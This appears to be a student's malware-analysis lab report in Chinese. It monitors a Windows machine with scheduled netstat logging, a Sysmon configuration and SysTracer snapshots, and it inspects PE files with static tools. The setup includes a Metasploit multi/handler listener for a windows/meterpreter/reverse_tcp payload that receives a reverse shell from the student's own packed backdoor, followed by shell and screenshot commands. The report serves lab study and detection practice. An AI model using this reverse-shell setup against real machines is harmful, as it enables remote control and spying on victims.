zoukankan      html  css  js  c++  java
  • 20145120《网络对抗》恶意代码分析

    20145120《网络对抗》恶意代码分析

    Windows计划任务schtasks

    在命令提示符输入schtasks /create /TN netstat /sc MINUTE /MO 5 /TR "cmd /c netstat -bn > c: etstatlog.txt"新建计划任务

    新建netstatlog.bat文件,内容如下:

    date /t >> c:
    etstatlog.txt
    time /t >> c:
    etstatlog.txt
    netstat -bn >> c:
    etstatlog.txt
    

    期间我不小心在命令行输入了这三条命令还产生了效果。。。

    查看计划任务,点两下创建时间,筛选一下就可以轻易找到之前新建的任务,编辑一下,把操作改成c: etstatlog.bat

    放着不管,一天之后。。。。。。没变化。

    额,我之前忘了用管理员权限的命令提示符了,哎浪费时间了,在计划任务里勾上“使用最高权限运行”的选项

    一段时间后成功看到了变化

    用多种工具进行静态分析

    因为自己其实也没怎么学会如何用好以下软件,我就简单提一下

    使用PEid打开文件,可以看到文件的入口点,编译软件等

    使用PEexplorer,可以看到文件的编译时间等基本信息,文件节信息,导入导出表等等

    此外还有PEview、PEBrowse Professional、Resource Hacker、Dependency Walker等软件都可以用于分析PE文件,各有所长,我也不太会用,不细讲了

    还可以用http://www.virscan.org/等网站分析,参考免杀原理与实践

    用sysmon工具监控系统

    安装工具

    新建内容如下的配置文件Sysmoncfg.txt

    <Sysmon schemaversion="3.10">
      <!-- Capture all hashes -->
      <HashAlgorithms>*</HashAlgorithms>
      <EventFiltering>
        <!-- Log all drivers except if the signature -->
        <!-- contains Microsoft or Windows -->
        <DriverLoad onmatch="exclude">
          <Signature condition="contains">microsoft</Signature>
          <Signature condition="contains">windows</Signature>
        </DriverLoad>
    
        <NetworkConnect onmatch="exclude">
          <Image condition="end with">chrome.exe</Image>
          <Image condition="end with">iexplorer.exe</Image>
          <SourcePort condition="is">137</SourcePort>
          <SourceIp condition="is">127.0.0.1</SourceIp>
        </NetworkConnect>
    
        <CreateRemoteThread onmatch="include">
          <TargetImage condition="end with">explorer.exe</TargetImage>
          <TargetImage condition="end with">svchost.exe</TargetImage>
          <TargetImage condition="end with">winlogon.exe</TargetImage>
          <SourceImage condition="end with">powershell.exe</SourceImage>
        </CreateRemoteThread>
      </EventFiltering>
    </Sysmon>
    

    想了一下,把拓展名改成xml的同时改个有特色的文件名20145120cfg

    用管理员权限打开命令提示符,进入对应文件夹,输入sysmon.exe -i 20145120cfg.xml

    打开任务管理器,看到Sysmon服务已经开始了。

    哇,短短时间就200+的日志了。。。额筛选一下联网的事件试试

    额,看到一个熟悉的名字,Svchost.exe进程,用于微软系统自身联网升级更新啥的,有次室友正在进行紧张激烈的电子竞技,突然很卡,然后发现我正在高速下载,我(?_?),没啊,这锅我不背,我冒着生命危险,赶紧看了一下任务管理器,没错,找到的就是它——Svchost.exe

    开始分析恶意代码

    用的就是免杀原理与实践中的恶意代码

    先启动kali虚拟机,依次输入以下命令进行监听

    msfconsole
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set LHOST 192.168.253.129
    set LPORT 5120
    exploit
    

    之后使用shell命令获取命令提示符试试。

    这时候可以打开事件查看器查看事件了。
    用关键字"bd.exe",查找一下,有进程创建事件,联网事件等
    创建进程

    联网,看到了我kali机的IP

    命令行的进程

    用SysTracer动态分析恶意代码

    用的还是之前的恶意代码,回连kali机攻击过程如下

    在win10靶机安装好SysTracer工具,选择要记录的项目,拍下第一张快照Snapshot #1

    启动后门程序bd.exe,确定已回连kali攻击机后拍下第二张快照Snapshot #2
    在kali机进行攻击,本来想试试给自己拍个照webcam_snap,但失败了,来张截屏吧screenshot,之后拍下快照Snapshot #3
    shell获取windows命令提示符,之后拍下快照Snapshot #4

    比较各快照的不同,选择显示不同的项"only differences",可能是因为我开的程序比较多,数据很多啊,看的我头都大了,不是很懂啊
    选择1,2两个快照比较,可以看到多个注册表项、文件、进程修改过了,不过看到了bd.exe进程开始了

    比较2,3两个快照,我找了很久找到一个操作过Microsoft Video for Windows的dll文件的痕迹,操作真不少,感觉不是我有目的性的找关于屏幕截图、文件操作的话很难分析啊

    比较3,4两个快照比较,这次比较顺利,很快找到了cmd.exe运行的痕迹

    唉,恶意代码分析真是个累人的工作

    实验后回答问题

    1.如果在工作中怀疑一台主机上有恶意代码,但只是猜想,所有想监控下系统一天天的到底在干些什么。请设计下你想监控的操作有哪些,用什么方法来监控。

    用sysmon工具或其他类似工具(windows自带的计划任务等),考虑好适当的过滤规则编写好适当的配置文件,然后导出日志进行分析。

    2.如果已经确定是某个程序或进程有问题,你有什么工具可以进一步得到它的哪些信息。

    用SysTracer工具或其他类似工具,在虚拟机中运行该程序,并进行快照,比较快照进行分析。

    实验体会

    这次实践中我们自己加壳的后门程序,运行了这么久我360毫无反应,要不是学过了,估计以后只能亡羊补牢。就算学过了监控自己的系统,感觉要是系统里有后门也很难发现,毕竟数据量大。借用一句话,社会是真的险恶啊。

  • 相关阅读:
    关于w3wp进程占用过多cpu的问题
    调试事务时的小坑
    PowerDesign中的Reverse Engineering
    对数据访问层的重构(及重构中Perl的应用)
    请教关于在asp.net站点中使用静态变量的问题
    .net面试应知应会(zt)
    关于代码运行效率问题的一个总结和一点疑问
    自己写的一个使用游标的小例子
    怎样才能写出尽可能让编译器找出潜在错误的代码?
    关于连接字符串中IMEX参数的一个问题
  • 原文地址:https://www.cnblogs.com/20145120hxx/p/6663936.html
Copyright © 2011-2022 走看看